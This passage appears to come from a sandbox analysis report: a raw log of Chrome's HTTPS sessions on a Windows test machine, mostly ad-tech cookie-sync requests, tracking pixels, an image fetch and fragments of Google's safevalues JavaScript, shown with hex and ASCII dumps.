6e 73 74 20 47 3d 7b 7d 3b 63 6c 61 73 73 20 48 7b 63 6f 6e 73 74 Data Ascii: e built directly");this.v=""}toString(){return this.v.toString()}}new D;const E={};class F{constructor(){if(E!==E)throw Error("SafeStyleSheet is not meant to be built directly");this.u=""}toString(){return this.u.toString()}}new F;const G={};class H{const
2024-01-10 23:27:19 UTC	1252	IN	Data Raw: 3d 6e 65 77 20 52 28 22 22 29 3b 61 2e 6c 65 76 65 6c 3d 4c 3b 74 68 69 73 2e 65 6e 74 72 69 65 73 5b 22 22 5d 3d 61 7d 7d 2c 55 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 55 7c 7c 28 55 3d 6e 65 77 20 54 29 3b 72 65 74 75 72 6e 20 55 7d 3b 63 6f 6e 73 74 20 57 3d 5b 5d 3b 76 61 72 20 58 3d 61 3d 3e 7b 76 61 72 20 63 3b 69 66 28 63 3d 53 28 56 28 29 2c 22 73 61 66 65 76 61 6c 75 65 73 22 29 2e 6f 29 7b 76 61 72 20 62 3d 60 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 24 7b 61 7d 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 60 2c 64 3d 4b 3b 69 66 28 61 3d 63 29 69 66 28 61 3d 63 26 26 64 29 7b 61 3d 64 2e 76 61 6c 75 65 3b 76 61 72 20 65 3d 63 3f 50 28 53 28 56 28 29 2c 63 2e 68 28 29 29 29 3a 4a 3b 61 3d 61 3e 3d 65 2e 76 Data Ascii: =new R("");a.level=L;this.entries[""]=a}},U,V=function(){U\|\|(U=new T);return U};const W=[];var X=a=>{var c;if(c=S(V(),"safevalues").o){var b=`A URL with content '${a}' was sanitized away.`,d=K;if(a=c)if(a=c&&d){a=d.value;var e=c?P(S(V(),c.h())):J;a=a>=e.v
2024-01-10 23:27:19 UTC	1252	IN	Data Raw: 61 72 64 65 6e 69 6e 67 20 2f 2f 20 4c 49 4e 45 2d 49 4e 54 45 52 4e 41 4c 5c 6e 20 20 20 20 20 2d 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 67 6f 6f 67 6c 65 2f 73 61 66 65 76 61 6c 75 65 73 2f 69 73 73 75 65 73 5c 6e 5c 6e 20 20 20 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 45 52 52 4f 52 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 22 29 3b 20 0a 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 7a 28 61 5b 30 5d 29 3b 76 61 72 20 62 3d 61 5b 30 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 2f 5e 64 61 74 61 3a 2f 2e 74 65 73 74 28 62 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 44 61 74 61 20 55 52 4c 73 Data Ascii: ardening // LINE-INTERNAL\n - https://github.com/google/safevalues/issues\n\n ############################## ERROR ##############################"); if(0===c.length)return z(a[0]);var b=a[0].toLowerCase();if(/^data:/.test(b))throw Error("Data URLs
2024-01-10 23:27:19 UTC	526	IN	Data Raw: 67 74 68 3b 64 2b 2b 29 62 2b 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 63 5b 64 5d 29 2b 61 5b 64 2b 31 5d 3b 72 65 74 75 72 6e 20 7a 28 62 29 7d 29 60 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 61 67 65 61 64 2f 6a 73 2f 63 61 72 2e 6a 73 60 3b 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 59 28 61 29 7b 76 61 72 20 63 3d 5a 3b 76 61 72 20 62 3d 28 62 3d 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 26 26 62 2e 6e 6f 77 26 26 62 2e 74 69 6d 69 6e 67 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 62 2e 6e 6f 77 28 29 2b 62 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 29 3a 44 61 74 65 2e 6e 6f 77 28 29 3b 61 3d 61 77 61 69 74 20 63 2e 73 68 61 72 65 64 Data Ascii: gth;d++)b+=encodeURIComponent(c[d])+a[d+1];return z(b)})`https://securepubads.g.doubleclick.net/pagead/js/car.js`;async function Y(a){var c=Z;var b=(b=f.performance)&&b.now&&b.timing?Math.floor(b.now()+b.timing.navigationStart):Date.now();a=await c.shared

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	50134	68.67.160.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	860	OUT	GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fhb.yahoo.net%252Fcksync.php%253Fcs%253D1%2526type%253Dapx%2526ovsid%253D%2524UID%2526axid_e%253D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=4e2zV2fQ_fpCKGjngeQMMSEZNweIg3T1qoOmSytBsZ19wNJldA-7xiAGuIc_X_Mg5NwzCAyJ0HHlBT7gOR-ypIQ-uexsSN0_F_1wLSWvek0.; uuid2=7367141199740274687
2024-01-10 23:27:19 UTC	1236	IN	HTTP/1.1 302 Found Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=h2PiT8wtZj0DL-RGGfCmqJvoqf_3fnc6DeeW2NL1FI4FcZuzQ3eGGGpBLeS1Y8H89WW1mi3sQEUgMwWf8G2CnG6ZndA8IXbhx_qSviYpB-0.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned Location: https://hb.yahoo.net/cksync.php?cs=1&type=apx&ovsid=7367141199740274687&axid_e= AN-X-Request-Uuid: ae58747e-385a-4c83-81ec-2bf9d61fe270 Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:19 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	50130	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	884	OUT	GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1;Expires=Wed, 24 Jan 2024 23:27:19 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	50153	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	777	OUT	GET /cksync.php?type=mf&ovsid=20ed5203-3644-4449-ae7b-5e053499d8b1&cs=1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
2024-01-10 23:27:19 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1;Expires=Thu, 09 Jan 2025 23:27:19 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	50161	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1707	OUT	GET /sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1 Host: service.idsync.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
2024-01-10 23:27:19 UTC	264	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Cache-Control: no-cache Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:19 UTC	18	IN	Data Raw: 64 0d 0a 7b 22 70 69 78 65 6c 73 22 3a 5b 5d 7d 0d 0a Data Ascii: d{"pixels":[]}
2024-01-10 23:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	50116	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	957	OUT	GET /cksync.php?gpp=&gpp_sid=&gpp=&gpp_sid=&cs=1&vsid=3479308310180275000V10&type=idx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1;Expires=Sat, 24 Feb 2024 23:27:19 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	50148	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	507	OUT	GET /iu/api/res/1.2/cA2iZe.B78wjQSwfOu6Qhw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190108/500x500/loyola_maryland_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	1292	IN	HTTP/1.1 200 OK Content-Length: 1607 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 235300738716158628928423860553162384470,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 235300738716158628928423860553162384470,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "bd02f8b54d9f18dd175188c3c305a9a7" Expiration: expiry-date="Fri, 24 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 25 Nov 2023 15:42:55 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=1607,owidth=500,oheight=500,obytes=3105 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 06 Jan 2024 23:16:54 GMT X-Served-By: cache-lga21949-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704583015.570590,VS0,VE5 Age: 346225 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21949-LGA cld_latency: 5 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:19 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 19 0f 2a 36 36 d9 b6 12 00 00 05 e6 49 44 41 54 68 de cd 9a c9 6f 1b 65 18 87 9f 59 ec b1 1d 27 4d da a4 59 ba 91 34 bb b7 24 a2 94 42 49 ab 0a 0e 48 08 55 42 42 dc 40 dc 40 a8 50 0e 54 aa 40 1c f8 0b b8 21 21 41 ff 04 38 20 84 44 a1 2d 45 dd 20 71 d2 45 a2 6d f6 c6 76 f6 38 93 76 92 b4 93 e1 e0 25 13 67 a9 33 33 4e fb 49 91 9c 6f c6 93 ef f1 fb fe de cd 11 c8 63 49 de 62 3f 30 02 48 6c ef 7a 5d d7 d4 eb f9 dc 28 e7 f9 c0 57 80 d2 6d 86 78 88 61 44 f3 bd 39 5f 90 63 d9 8f e8 c4 71 14 b7 bb 20 27 5f 36 96 f9 f5 b7 df 33 bf 5e d1 17 e6 97 0a 02 b2 b3 ac 8c 6f be 3e Data Ascii: PNGIHDR22?pHYs&?tIME*66IDAThoeY'MY4$BIHUBB@@PT@!!A8 D-E qEmv8v%g33NIocIb?0Hlz](WmxaD9_cq '_63^o>
2024-01-10 23:27:19 UTC	307	IN	Data Raw: a6 6d 13 fc 71 21 5b 08 dc d5 35 35 b6 99 d8 8f e7 e6 8f 1e 1b fd 47 89 c7 cb 9d b1 61 5b 87 df ed 2f a5 bc a8 84 d9 64 92 81 c1 a1 75 73 90 bc 91 3e 64 59 22 1c 0c 00 58 6e 6b 01 ce dd 38 cf b9 1b e7 6d 81 7c f5 c6 7b 1c ab 0b 12 ed b9 89 61 18 eb 56 05 ab c5 ae ec c8 46 ac e6 c6 46 bc 5e 8f ed 88 e5 c4 ca 4e 25 a3 1b 4f 25 c5 d5 15 ea 72 03 50 63 9e 5f 8d cf cf 92 70 a6 ae b3 b4 f6 97 55 50 e6 f5 e7 96 ff 7d ba a6 8e 6c 96 d9 d7 cc 77 7b 62 83 cf d8 1a a9 1c 34 37 a7 72 bf 6f 60 c3 1a 4d 5e 0f 44 92 44 c2 a1 94 3e 8e d6 b6 d0 b1 f7 cc 33 03 f1 b9 52 e1 3f da bb b1 3e 36 04 69 6c a8 a7 c8 e7 03 c0 eb 52 f0 a6 1f f6 2c 57 f7 53 aa 66 c1 34 88 ab 05 fa 01 6a aa ab 08 06 5a 78 9e d6 bf dd 3d 4c 4d 4d 03 0c ea 9a 5a bb 99 45 b2 f9 23 16 4f 98 9b 9f e7 6d 5d Data Ascii: mq![55Ga[/dus>dY"Xnk8m\|{aVFF^N%O%rPc_pUP}lw{b47ro`M^DD>3R?>6ilR,WSf4jZx=LMMZE#Om]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	50143	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	638	OUT	GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN HTTP/1.1 Host: trc.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:19 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:19 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:19 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 23135 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:19 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-iad-kiad7000051-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929240.724768,VS0,VE25 X-vcl-time-ms: 25 transfer-encoding: chunked
2024-01-10 23:27:19 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-01-10 23:27:19 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-01-10 23:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	50132	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	881	OUT	GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
2024-01-10 23:27:19 UTC	594	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:19 GMT location: https://bh.contextweb.com/bh/rtset?ev=AABsm07LPlAAABMLLoldYg&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsas%252Csyn%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:19 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	50123	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
